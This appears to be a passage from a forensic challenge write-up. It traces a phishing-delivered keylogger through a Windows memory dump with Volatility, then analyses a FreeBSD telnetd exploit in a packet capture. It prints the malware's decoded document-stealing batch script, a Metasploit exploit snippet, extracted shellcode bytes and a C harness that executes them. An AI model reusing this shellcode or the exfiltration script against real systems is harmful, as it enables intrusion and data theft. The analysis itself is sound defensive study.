MEMORY.DMP: MS Windows 64bit crash dump, full dump, 524174 pages
```

The output of file tells us that the dump file is a MS Windows 64bit crash dump. Now that we had identified that the architecture, we used the **kdbgscan** plugin to do an exhaustive detection. We set the profile to WinXPSP1x64, however, using any 64bit profile will work.

```
#> python vol.py -f MEMORY.DMP kdbgscan --profile=WinXPSP1x64
Build string (NtBuildLab)     : 7600.16385.amd64fre.win7_rtm.090
Major (OptionalHeader)        : 6
Minor (OptionalHeader)        : 1
Service Pack (CmNtCSDVersion) : 0
```

**kdbgscan** reports that the memory image is probably Windows 7 64 bit with no service packs applied. We will use the profile Win7SP0x64 for future commands.

Now that we have identified the volatility profile to use, we can start to answer the original question. We used the **pslist** plugin to list all of the processes in the memory dump. In the output of **pslist** nothing struck us as immediately suspicious.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 pslist
<Nothing too suspicious in that list>
```

We thought that some context may help us and decided to list the process tree using the volatility plugin **pstree**. We immediately notice an unusual process tree where Thunderbird ran Internet Explorer which ran svc.exe which ran cmd.exe. We noticed that svc.exe is not a standard process and decided to investigate it further.

```
#> python vol.py -fMEMORY.DMP --profile=Win7SP0x64 pstree
. 0xfffffa8001d1c060:thunderbird.ex  2724   1492     27    330 2013-01-21 00:33:09 UTC+0000
.. 0xfffffa8001a0fb30:iexplore.exe   2496   2724     11    358 2013-01-21 00:37:00 UTC+0000
... 0xfffffa8003a50b30:iexplore.exe  2780   2496     14    390 2013-01-21 00:37:00 UTC+0000
.... 0xfffffa8002941b30:svc.exe      1640   2780      6    141 2013-01-21 00:37:03 UTC+0000
..... 0xfffffa800201e060:cmd.exe     2448   1640      0 ------ 2013-01-21 00:39:16 UTC+0000
```

To start our investigation we needed to determine the modules that were loaded into the svc.exe process. We extracted this information using the **dlllist** plugin supplying the **-p 1640** argument to limit the results to the process ID of the svc.exe process.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 dlllist -p 1640
************************************************************************
svc.exe pid:   1640
Command line : C:\Users\rmaclean\AppData\Local\Temp\svc.exe
```

```
Note: use ldrmodules for listing DLLs in Wow64 processes

Base                             Size          LoadCount Path
-------------------- ---------------------- ------------------ ----
0x0000000000400000             0x9000             0xffff C:\Users\rmaclean\AppData\Local\Temp\svc.exe
0x0000000077000000           0x1ab000             0xffff C:\Windows\SYSTEM32\ntdll.dll
0x0000000073990000            0x3f000                0x3 C:\Windows\SYSTEM32\wow64.dll
0x0000000073930000            0x5c000                0x1 C:\Windows\SYSTEM32\wow64win.dll
0x0000000073920000             0x8000                0x1 C:\Windows\SYSTEM32\wow64cpu.dll
```

From the output of the **dlllist** plugin we noticed that the svc.exe executable had been launched by iexplore.exe from rmaclean's temp folder. This was likely the malicious process.

Now that we had identified the malicious process we extracted the pid, the start time and the parent process pid from the output of the **pstree** plugin.

The answer was: **1640 2013-01-21 00:37:03 2780**

## 4.2) Identify the IP address the malicious process is communicating with and the mutex name used by the malicious process.

To identify communications of the malicious process we first had to list all of its network connections. We used the **netscan** plugin to do this and looked for any connections belonging to pid 1640. From this we could see that the process had a connection open to 10.10.31.210.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 netscan
0x7fbd3a90 TCPv4    10.10.31.219:49257    10.10.31.210:81  ESTABLISHED    1640     svc.exe
```

To determine the mutex name used by the malicious process we used the **handles** plugin. We passed it -p 1640 to limit results to pid 1640, -t Mutant to tell it to list mutexes and -s to tell the plugin to only list named objects. From the output we see that the malicious process has created a mutex/mutant named "Sys322".

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 handles -p 1640 -t Mutant -s
Volatile Systems Volatility Framework 2.3_alpha
Offset(V)            Pid            Handle             Access Type             Details
------------------ ------ ------------------ ------------------ ---------------- -------
0xfffffa8001db11b0   1640               0x98          0x1f0001 Mutant           Sys322
```

The answer for this question was: **10.10.31.210 Sys322**

## 4.3) Locate and decode the key logger data file created by the malicious process.

To begin the search for key logger data we first needed to list the file handles for the malicious process. We used the **handles** plugin again however this time we passed in -t File so that file handles, not mutants/mutexes would be displayed. One file in particular stuck out, the malicious process had a file open named logg.dat.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 handles -p 1640 -t File -s
0xfffffa8001a14f20   1640             0x10c          0x12019f File
\Device\HarddiskVolume2\Program Files (x86)\Common Files\logg.dat
```

Now that we had identified the keylogger data file we needed to determine when it was created. To do this we need to extract the mft data, this data contains MAC times for the keylogger data file, among other things. This plugin can take a while to run.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 mftparser --output-file=mftparser.txt
$STANDARD_INFORMATION
```

```
Creation                      Modified                      MFT Altered                   Access Date
Type
------------------------------ ------------------------------ ------------------------------ -----------
------------------- ----
2013-01-21 00:37:07 UTC+0000 2013-01-21 00:38:20 UTC+0000   2013-01-21 00:38:20 UTC+0000   2013-01-21
00:37:07 UTC+0000   Hidden & System & Archive

$FILE_NAME
Creation                      Modified                      MFT Altered                   Access Date
Name/Path
------------------------------ ------------------------------ ------------------------------ -----------
------------------- ---------
2013-01-21 00:37:07 UTC+0000 2013-01-21 00:37:07 UTC+0000   2013-01-21 00:37:07 UTC+0000   2013-01-21
00:37:07 UTC+0000   Program Files (x86)\Common Files\logg.dat
```

After outputting results to a file we searched for entries containing logg.dat. From these entries we can determine the date and time when the logg.dat file was created.

The answer to the question was:
**\Device\HarddiskVolume2\Program Files (x86)\Common Files\logg.dat 2013-01-21 00:37:07**

## 4.4) Determine the application name, username and password that have been captured in the key logger data file.

In addition to the MAC times shown above, the MFT entries also contain resident $DATA up to 700 bytes, in this case it contained the key logging data we were interested in.

```
$DATA
0000000000: 88 85 88 85 b7 ad ab ac ae a8 ab ac a8 ad ac 9b   ................
0000000010: ac ac b5 ae b2 b9 b7 ce e6 f4 eb e0 b9 88 85 ed   ................
0000000020: ea dd a9 e8 de e7 e0 dc e9 ac b3 f6 cf dc dd f8   ................
0000000030: c4 dc e8 dc f2 e0 ee ea e8 e0 ac ad ae 88 85 88   ................
0000000040: 85 88 85 b7 ad ab ac ae a8 ab ac a8 ad ac 9b ac   ................
0000000050: ac b5 ae b2 b9 b7 ce e6 f4 eb e0 9b a8 9b ed ea   ................
0000000060: dd a9 e8 de e7 e0 dc e9 ac b3 b9 88 85 c3 e4 9b   ................
0000000070: c5 ea e3 e9 a7 9b e8 f4 9b de ea e8 eb f0 ef e0   ................
0000000080: ed 9b e5 f0 ee ef 9b de ed dc ee e3 e0 df a9 9b   ................
0000000090: bc ed e0 9b f4 ea f0 9b dc dd e7 e0 9b ef ea 9b   ................
00000000a0: e3 e0 e7 eb 9b e8 e0 9b ea f0 ef ba 88 85 88 85   ................
00000000b0: 88 85 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   ..{{{{{{{{{{{{{{
00000000c0: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
00000000d0: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
00000000e0: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
00000000f0: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
0000000100: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
0000000110: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
0000000120: 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b 7b   {{{{{{{{{{{{{{{{
0000000130: 7b                                                {
```

In order to decode this keylog data, we made a few assumptions:

- The large number of 0x7B's is likely to represent a null byte obfuscated with the one byte key of 0x7B
- Key logging data is most likely ASCII encoded characters
- All bytes are > 0x7F

Alternatively, you could have reverse engineered the algorithm, however it was simple enough to guess.

We tried xor and add operations on the data however we didn't see the results we expected. We then tried a sub operator and received the result we expected. We extracted the obfuscated keylog bytes and created a python script to de-obfuscate the entire keylog data.

```
f = open("keylog.txt")
str = ""
for line in f:
        for char in line[:-1].split(' '):
                if len(char) == 2:
                        str += "%c" % (int(char,16) - 0x7b)
print repr(str)
```

After the de-obfuscation we were presented with the following keylog data.

```
<2013-01-21 11:37><Skype>
rob.mclean18{Tab}Iamawesome123

<2013-01-21 11:37><Skype - rob.mclean18>
Hi John, my computer just crashed. Are you able to help me out?
```

The answer for this question was: **Skype rob.mclean18 Iamawesome123**

## 4.6) PROVIDE THE REGISTRY KEY THAT CONTAINS THE STUBPATH VALUE AND ALLOWS THE MALICIOUS SOFTWARE TO PERSIST AFTER POWERING OR REBOOT THE SYSTEM.

We started looking for the registry persistence key by dumping the malicious executable using the procexedump plugin. We passed the arguments -p 1640 to only dump the malicious svc.exe process and -D . to extract the exe to the current folder. We used the file tool to determine whether the executable was 32 bit or 64 bit and we then ran the strings tool across the extracted executable to see if any registry related strings would appear.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 procexedump -p 1640 -D .
#> file executable.1640.exe
executable.1640.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

#> strings -a executable.1640.exe
 s8S
OFTWARE\Microsoft\Active Setup\Iw
nstalled Components\%  A
```

We noticed a string that highlights a likely persistence key, with the registry path of HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\[GUID]\StubPath\svc.exe. After searching the web for this registry key along with malware we see it is used by many forms of malware.

Now we needed to identify the full registry path (including the GUID). To do this we used the **vaddump** plugin. We passed -p 1640 so that volatility would only dump the address space of our malicious process and we passed -D ./1640/ so that the output files would all be put into the 1640 folder. We then grepped through the output to find references to the Installed Components key.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 vaddump -p 1640 -D ./1640/
#> strings -af * | grep "Installed Components"
svc.exe.7ef41b30.0x0000000000090000-0x000000000018ffff.dmp: SOFTWARE\Microsoft\Active Setup\Installed
Components\{E92B03AB-B707-11d2-9CBD-0000F87A369E}
svc.exe.7ef41b30.0x0000000000090000-0x000000000018ffff.dmp: SOFTWARE\Microsoft\Active Setup\Installed
Components\{21EAF244-B318-8F6C-E0B6-7A9935DE2F8D}
```

From our grep search we received two registry paths located in the Installed Components key. We next had to determine which of these paths was actually used for the persistence of the malicious process.

To begin this process we needed to identify the location of registry hives in the memory dump, we used the **hivelist** plugin for this.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 hivelist
Virtual            Physical           Name
```

```
------------------ ------------------ ----
0xfffff8a00000f010 0x000000002cd3d010 [no name]
0xfffff8a000024010 0x000000002cf48010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a00004e010 0x000000002d072010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0000f1420 0x000000002b7a8420 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a0010b4010 0x0000000028e29010 \SystemRoot\System32\Config\SOFTWARE    #HKLM
0xfffff8a0012ba010 0x0000000020422010 \SystemRoot\System32\Config\SECURITY
0xfffff8a00130a010 0x0000000020c30010 \SystemRoot\System32\Config\SAM
0xfffff8a001465010 0x00000000231b2010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a0014f0010 0x0000000068f13010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a001de4010 0x000000005ddbb010 \??\C:\Users\rmaclean\ntuser.dat        #HKCU
0xfffff8a001e06010 0x000000005de8e010 \??\C:\Users\rmaclean\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a002308010 0x000000004102b010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a005ae4010 0x000000000ba1d010 \SystemRoot\System32\Config\DEFAULT
```

Alternately, you can use hivedump and grep for the key, but there is a infinite loop bug in the version of volatility we had available.

Now we had the addresses of the registry key hives we could show the list of keys in the Installed Components registry key.
**Note that given this is a 32bit application running on a 64bit OS, remember we need to search in the Wow6432Node path.**
From the memory dump we weren't immediately able to determine which registry root the malicious process was adding itself to. To determine this we first dumped the HKCU hive which was at in the file \??\C:\Users\rmaclean\ntuser.dat at the address 0xfffff8a001de4010. We used the **printkey** plugin passing in the virtual address of the target hive and the key to display.

```
#> python vol.py -fMEMORY.DMP --profile=Win7SP0x64 printkey -o 0xfffff8a001de4010 -K
"Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components"
Registry: User Specified
Key name: Installed Components (S)
Last updated: 2013-01-14 17:54:09 UTC+0000

Subkeys:
  (S) >{26923b43-4d38-484f-9b9e-de460746276c}
  (S) >{60B49E34-C7CC-11D0-8953-00A0C90347FF}
  (S) {2C7339CF-2B09-4501-B3F3-F3508C9228ED}
  (S) {44BBA840-CC51-11CF-AAFA-00AA00B6015C}
  (S) {6BF52A52-394A-11d3-B153-00C04F79FAA6}
  (S) {89820200-ECBD-11cf-8B85-00AA005B4340}
  (S) {89820200-ECBD-11cf-8B85-00AA005B4383}
  (S) {89B4C1CD-B018-4511-B0A1-5476DBF70820}
```

The GUID keys we were looking for did not appear in this HKCU listing, so we tried listing the HKLM\Software hive which has the name \SystemRoot\System32\Config\SOFTWARE and is at the address 0xfffff8a0010b4010. We saw that the GUIDs we were interested in were there. After dumping them both, it a was apparent that the key {21EAF244-B318-8F6C-E0B6-7A9935DE2F8D} was the one used for persistence.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 printkey -o 0xfffff8a0010b4010 -K
"Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\{21EAF244-B318-8F6C-E0B6-7A9935DE2F8D}"
Registry: User Specified
Key name: {21EAF244-B318-8F6C-E0B6-7A9935DE2F8D} (S)
Last updated: 2013-01-21 00:37:07 UTC+0000

Subkeys:

Values:
REG_EXPAND_SZ stubpath        : (S) C:\Program Files (x86)\Common Files\svchost.exe s
```

The answer to this question was:
**HKLM\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{21EAF244-B318-8F6C-E0B6-7A9935DE2F8D}**

## 4.5) Determine the file location where the malicious process stored a copy of itself.

From the previous questions analysis we can determine the path where the malicious process stored a copy of itself. Additionally we can use the MFT timeline to verify that the copy was created at the given path.
The answer for this question was: **\Device\HarddiskVolume2\Program Files (x86)\Common Files\svchost.exe**

## 4.7) Determine the file location where the stolen documents have been archived and what password was used to encrypt the archive.

We started our analysis by scanning for processes that previously terminated using the **psscan** plugin.

```
#> python vol.py -f MEMORY.DMP --profile=Win7SP0x64 psscan
0x000000007ef41b30 svc.exe            1640   2780 0x000000001d2fc000 2013-01-21 00:37:03 UTC+0000
0x000000007f61e060 cmd.exe            2448   1640 0x0000000077ebf000 2013-01-21 00:39:16 UTC+0000
2013-01-21 00:39:18 UTC+0000
0x000000007f6a2b30 Rar.exe            2176   2448 0x00000000750d3000 2013-01-21 00:39:16 UTC+0000
2013-01-21 00:39:18 UTC+0000
```

Noting the timestamp for later analysis of MFT entries, the output of psscan identifies the following instance where svc.exe ran cmd.exe which ran Rar.exe.

To determine what files may have been created around the process creation time we convert the mftparser output to a timeline format using the mactime tool. We then looked at the mft timeline to determine files created around the time that Rar.exe was executed. We identified that Users\rmaclean\commands.bat was a file of interest as it was created just before Rar.exe was executed.

```
#> python vol.py --profile=Win7SP0x64 -f /media/memory/MEMORY.DMP mftparser --output=body --output-
file=mftparser_body.txt
#> mactime -b mftparser_body.txt -z UTC > mac_mftparser.txt
Mon Jan 21 2013 00:39:00      544 macb ---a----------- 0        0        61082    [MFT FILE_NAME]
Users\rmaclean\commands.bat (Offset: 0x43741800)
                                  472 m.c. ---a----------- 0        0        61408    [MFT STD_INFO]
Users\rmaclean\__rar_tmp0.003\__RAR_~1.328 (Offset: 0x46b3d000)
                                  360 m.c. ---a----------- 0        0        61480    [MFT STD_INFO]
Users\rmaclean\rar.rar (Offset: 0x2bf23000)
       Mon Jan 21 2013 00:39:18      472 m.c. ---a-------I--- 0        0        23391    [MFT STD_INFO]
Windows\Prefetch\CMDEXE~1.PF (Offset: 0x73388c00)
```

From the timeline output we also identified that the file rar.rar was created soon after Rar.exe was executed, so we can assume that this is the compressed archive. To determine the archive password we looked at the MFT $DATA for the Users\rmaclean\commands.bat.

```
$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date
Name/Path
------------------------------ ------------------------------ ------------------------------ -----------
------------------- ---------
2013-01-21 00:39:00 UTC+0000 2013-01-21 00:39:00 UTC+0000   2013-01-21 00:39:00 UTC+0000   2013-01-21
00:39:00 UTC+0000   Users\rmaclean\commands.bat

$DATA
0000000000: 40 65 63 68 6f 20 6f 66 66 0d 0a 65 63 68 6f 20   @echo.off..echo.
0000000010: 52 69 50 77 6e 20 76 31 2e 33 0d 0a 63 64 20 25   RiPwn.v1.3..cd.%
0000000020: 75 73 65 72 70 72 6f 66 69 6c 65 25 0d 0a 6d 6b   userprofile%..mk
0000000030: 64 69 72 20 77 69 6e 0d 0a 64 69 72 20 2f 42 20   dir.win..dir./B.
0000000040: 2f 73 20 2a 2e 64 6f 63 20 2a 2e 64 6f 63 78 20   /s.*.doc.*.docx.
0000000050: 2a 2e 70 64 66 20 2a 2e 74 78 74 3e 20 63 6d 64   *.pdf.*.txt>.cmd
0000000060: 73 0d 0a 66 6f 72 20 2f 66 20 22 64 65 6c 69 6d   s..for./f."delim
0000000070: 73 3d 22 20 25 25 69 20 69 6e 20 28 63 6d 64 73   s=".%%i.in.(cmds
```

```
0000000080: 29 20 44 4f 20 63 6f 70 79 20 22 25 25 69 22 20   ).DO.copy."%%i".
0000000090: 22 2e 2f 77 69 6e 2f 22 0d 0a 72 61 72 2e 65 78   "./win/"..rar.ex
00000000a0: 65 20 61 20 2d 64 77 20 2d 68 70 41 40 65 73 30   e.a.-dw.-hpA@es0
00000000b0: 6d 33 65 52 72 3f 71 56 23 32 76 20 2d 72 20 72   m3eRr?qV#2v.-r.r
00000000c0: 61 72 2e 72 61 72 20 2d 6d 35 3d 4c 5a 4d 41 32   ar.rar.-m5=LZMA2
00000000d0: 20 22 2e 2f 77 69 6e 22 0d 0a 64 65 6c 20 2f 46   ."./win"..del./F
00000000e0: 20 2f 51 20 63 6d 64 73 20 0d 0a 0d 0a            ./Q.cmds.....
```

The answer for this question was:
**\Device\HarddiskVolume2\Users\rmaclean\rar.rar A@es0m3eRr?qV#2v**

## 4.8) An additional backdoor has been deployed to the system and is persistent after powering or reboot. Unlike the previous persistence mechanism, this backdoor does not use the registry.

To determine any further non-registry we looked at the mft timeline we created in the last question, focusing around the time the svc.exe process was executed. We notice that a file named ntshrui.dll is created in the Windows directory around this time. We perform a google search for ntshrui.dll and find articles pointing out that replacing this file is a common non-registry persistence technique.

```
       Mon Jan 21 2013 00:38:44      400 macb ---a----------- 0        0        61038    [MFT FILE_NAME]
Windows\ntshrui.dll (Offset: 0x47c3a800)
                                     296 macb ---a----------- 0        0        61038    [MFT FILE_NAME]
Windows\ntshrui.dll (Offset: 0x77ced568)
       Mon Jan 21 2013 00:38:52      368 macb ---a----------- 0        0        61073    [MFT FILE_NAME]
Users\rmaclean\Rar.exe (Offset: 0x47e3f400)
                                     288 macb ---a----------- 0        0        61073    [MFT FILE_NAME]
Users\rmaclean\Rar.exe (Offset: 0x775f15e8)
       Mon Jan 21 2013 00:39:00      544 macb ---a----------- 0        0        61082    [MFT FILE_NAME]
Users\rmaclean\commands.bat (Offset: 0x43741800)
                                     304 macb ---a----------- 0        0        61082    [MFT FILE_NAME]
Users\rmaclean\commands.bat (Offset: 0x785f3a38)
```

The answer for this question was:
**\Device\HarddiskVolume2\Windows\ntshrui.dll**

## 4.9) Investigate the initial attack vector.

We decided a good place to start to determine the initial attack vector was with the process that launched svc.exe which was the iexplore.exe process with pid 2780. We used the **wintree** plugin to dump a list of windows, and grepped for windows belonging to the malicious process.

```
       #> python vol.py --profile=Win7SP0x64 -f MEMORY.DMP wintree | grep 2780
       ...http://news.cloudwatch.net/CloudCompetition - Windows Internet Explorer (visible) iexplore.exe:2780
TabWindowClass
```

We see that Internet explorer had a window with a URL about a “CloudCompetition” which likely hosted the malware, however from this we cannot determine why the user visited that page in the first place. As Thunderbird is an email client and the parent process to iexplore.exe, it is likely that a spear phishing email enticed the user to open a malicious link.

We performed the same process as above to find the windows for the thunderbird.exe process with the pid 2724.

```
       #> python vol.py --profile=Win7SP0x64 -f MEMORY.DMP wintree | grep 2724
       .2013 Cloud Product Winners Announced - Mozilla Thunderbird (visible) thunderbird.ex:2724
MozillaWindowClass
```

We see a window title that looks like the subject of an email, to determine the content or sender of this email we need to locate it in memory. We dump the memory for thunderbird and search for strings around the subject line identified from the Window title.

```
        #> python vol.py --profile=Win7SP0x64 -f MEMORY.DMP vaddump -p 2724 -D 2724
        #> strings -af * | grep -5 "2013 Cloud Product Winners Announced"
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: References:
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: Message-ID:
<1358470828.75369.YahooMailNeo@web160305.mail.bf1.yahoo.com>
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: Date: Thu, 17 Jan 2013 17:00:28 -0800
(PST)
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: From: Cloud Computing News
<rian.malado@yahoo.com>
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: Reply-To: Cloud Computing News
<rian.malado@yahoo.com>
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: Subject: 2013 Cloud Product Winners
Announced
        thunderbird.ex.7fb1c060.0x0000000008e00000-0x0000000008efffff.dmp: To: "RobMcLean@lavabit.com"
<RobMcLean@lavabit.com>
```

From this we can see that the CEO was sent a spearphishing email and clicked on the link. This link would have exploited the browser and spawned the malicious process. We can also see the address that the email was sent from.

The answer for this question is: **http://news.cloudwatch.net/CloudCompetition rian.malado@yahoo.com**

# NETWORK FORENSICS

## 5.1) IDENTIFY THE VULNERABILITY THAT WAS EXPLOITED

The challenge starts off with a PCAP containing a network capture of a traffic to and from the mail server.

Opening the PCAP file in Wireshark we noted that the initial traffic was identified as telnet. When following the telnet stream we note that the banner is returned as “FreeBSD/i386 () (pts/1)”.
Searching on Google for a sequences of bytes from the telnet session (particularly the bytes directly after the login message) finds a Metasploit module for CVE-2011-4862. Alternatively, submission to virustotal scans the pcap with snort IDS signatures, highlighting the same CVE.

Answer to the question:
**CVE-2011-4862 FreeBSD**

## 5.2) THE FIRST PAYLOAD CONTAINS SHELLCODE THAT INVOKES SYSTEM CALLS I.E. "INT80". THE FIRST SYSTEM CALL IS "SOCKET". WHAT ARE THE NEXT TWO SYSTEM CALLS (REMEMBER THE TARGET OS)?

We used the metasploit module to guide our analysis. We assumed that because the exploit traffic matched the metasploit module exactly that it was likely that Metasploit was used in this attack, and having access to the exploit module would speed up our analysis.

First, it was important to extract the shellcode so that we could determine its purpose and function. We used the Metasploit source to determine where the shellcode started.

```
key_id = Rex::Text.rand_text_alphanumeric(400)
key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")
# Some of these bytes can get mangled, jump over them
key_id[80,112]  = Rex::Text.rand_text_alphanumeric(112)

# Bounce to the real payload (avoid corruption)
key_id[120, 2] = "\xeb\x46"

# The actual payload
key_id[192, penc.length] = penc
```

We step through the telnet negotiation until we get to the key exchange where the exploit occurs.
We extract the data from the telnet session that corresponds to the key_id value in the Metasploit module.

```
0000   eb 76 47 76 50 6d 59 76 6e 68 45 45 70 47 70 52
0010   69 65 33 55 6f 68 4d 31 4a 75 41 77 4d 79 57 57
0020   46 4b 62 71 5a 38 64 63 4d 4c 49 74 36 6d 74 55
0030   76 78 63 6f 6c 53 58 46 55 47 49 48 51 6e 71 37
0040   6d 32 7a 59 68 48 66 41 75 a8 04 08 89 a8 04 08
0050   65 51 53 76 62 56 6b 47 34 4a 78 4e 30 74 50 65
0060   44 50 4a 4c 6a 42 31 41 64 49 61 37 69 79 38 38
0070   62 30 30 6a 74 38 56 63 eb 46 43 45 69 56 64 37
0080   63 54 68 54 72 4a 61 37 41 53 72 4e 33 6e 52 30
0090   68 75 43 77 48 41 4e 4e 47 6c 54 41 73 6c 31 57
00a0   68 73 37 67 65 75 78 34 51 31 48 72 67 72 5a 6e
00b0   56 70 58 33 33 42 70 42 6c 77 72 76 76 56 78 49
00c0   98 8d 43 96 81 d6 b7 7b 2c 27 3f bf b3 fd 4f b5
00d0   4e 85 f5 15 a9 93 a8 35 0d 40 b2 bb 41 4a 47 46
00e0   f8 b0 69 d5 92 25 b9 66 b6 1c 37 99 ba 1d 49 0c
00f0   24 b4 14 9f 9b d4 97 b1 2f 48 ba bd da 3c 77 da
```

```
0100   d8 d9 74 24 f4 5e 33 c9 b1 0b 83 c6 04 31 56 11
0110   03 56 11 e2 48 b0 5d 2f 2b 17 dc 9d 09 ca 88 2b
0120   87 ca 81 e1 17 62 02 f8 06 2f ab 1d 42 df fa 8d
0130   c3 48 96 4f bb bb e7 20 38 82 a9 bd 2e c7 aa fd
0140   6c 69 77 76 55 7a 6f 64 35 66 52 41 44 65 50 72
0150   75 34 6c 6e 36 50 32 39 48 4f 4e 4c 70 32 30 55
0160   64 37 6c 53 57 4e 37 49 70 65 64 50 79 75 51 53
0170   72 4d 48 69 35 79 34 73 33 69 46 37 70 56 72 78
0180   79 59 74 71 5a 38 7a 72 35 52 79 34 4f 58 65 37
```

We have underlined the bytes set by the module, including the shellcode payload at bytes 192-320.

We extract the shellcode bytes and insert them into a buffer that will be executed by the program below.

**shellcode.c:**

```
char buffer[] = "\x98\x8d\x43\x96\x81\xd6\xb7\x7b\x2c\x27\x3f\xbf\xb3\xfd\x4f\xb5"
        "\x4e\x85\xf5\x15\xa9\x93\xa8\x35\x0d\x40\xb2\xbb\x41\x4a\x47\x46"
        "\xf8\xb0\x69\xd5\x92\x25\xb9\x66\xb6\x1c\x37\x99\xba\x1d\x49\x0c"
        "\x24\xb4\x14\x9f\x9b\xd4\x97\xb1\x2f\x48\xba\xbd\xda\x3c\x77\xda"
        "\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11"
        "\x03\x56\x11\xe2\x48\xb0\x5d\x2f\x2b\x17\xdc\x9d\x09\xca\x88\x2b"
        "\x87\xca\x81\xe1\x17\x62\x02\xf8\x06\x2f\xab\x1d\x42\xdf\xfa\x8d"
        "\xc3\x48\x96\x4f\xbb\xbb\xe7\x20\x38\x82\xa9\xbd\x2e\xc7\xaa\xfd";
int main(int argc, char **argv)
{
        int (*func)();
        func = (int (*)()) buffer;
        (int)(*func)();
}
```

We compile the C program with debug info (to make breakpointing easier) and with an executable stack (so we can execute our shellcode).

```
#> gcc -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode
```

We then open the compiled shellcode program in gdb and add a breakpoint on the start of our shellcode buffer.

```
#> gdb shellcode
(gdb) break *buffer
(gdb) run
```

At this point we receive a message letting us know that gdb has hit a breakpoint. We then list the the next 16 instructions at the current extended instruction pointer (The instruction that is about to be executed). The => arrow points to the instruction at eip.
**Note that you may need to substitute eip for rip if you compiled the shellcode.c file on 64 bit Linux.**

```
(gdb) x/16i $eip
=> 0x8049640 <buffer>: cwtl
   0x8049641 <buffer+1>:      lea    -0x6a(%ebx),%eax
   0x8049644 <buffer+4>:      adc    $0x272c7bb7,%esi
   0x804964a <buffer+10>:     aas
   0x804964b <buffer+11>:     mov    $0xb54ffdb3,%edi
   0x8049650 <buffer+16>:     dec    %esi
   0x8049651 <buffer+17>:     test   %esi,%ebp
   0x8049653 <buffer+19>:     adc    $0x35a893a9,%eax
   0x8049658 <buffer+24>:     or     $0x41bbb240,%eax
   0x804965d <buffer+29>:     dec    %edx
   0x804965e <buffer+30>:     inc    %edi
   0x804965f <buffer+31>:     inc    %esi
   0x8049660 <buffer+32>:     clc
   0x8049661 <buffer+33>:     mov    $0x69,%al
   0x8049663 <buffer+35>:     aad    $0x92
   0x8049665 <buffer+37>:     and    $0x1cb666b9,%eax
```

This obfuscated code is intentionally difficult to understand... it is easier to step through it than to determine its function from a static listing.

We will first set up a display, that will update each time gdb breaks. We will then use the **si** or **stepi** command that tells gdb to execute one instruction forward.

```
(gdb) display/16i $eip
(gdb) si
<Hit Enter until we hit <buffer+83>
```

Eventually we get to <buffer+83>, which is a loop to <buffer+74>. The purpose of this loop is to de-obfuscate (XOR) the rest of the shell code stored at the memory address in esi. We check the value of the register esi using the command **info registers.**

```
<buffer+83> xor    %edx,0x11(%esi)
(gdb) info registers
esi = 0x804968b
```

We continue using **si** to step through this code until the value in the ecx register is 0, this means that the rest of the shellcode is now deobfuscated. At this point we could extract the shell code, however we are just interested in the syscalls it makes.

We continue stepping until we get to the "**int $0x80**", which is the instruction for a system call for Linux/BSD. For BSD the value in the eax register when the **int $0x80** instruction is executed contains the ID of the system call to use. We display the registers to determine which system call this is and look it up in the syscall.master reference (note this is FreeBSD not Linux).

```
0x80496a3 <buffer+99>: int    $0x80
(gdb) info registers
eax            0x61
```

From the value in the eax register we see that this is a call to the syscall with id=0x61, which is socket() (as expected).

We list the rest of the code using **x/40i $eip** and can see the other **int $0x80** instructions. We look at the instructions to determine what the value of the eax register will be when we execute the **int $0x80** instructions.

```
0x80496b2 <buffer+114>:    push   $0x62  # Puts 0x62 on the stack
0x80496b4 <buffer+116>:    pop    %eax   # Pops 0x62 from the stack into eax
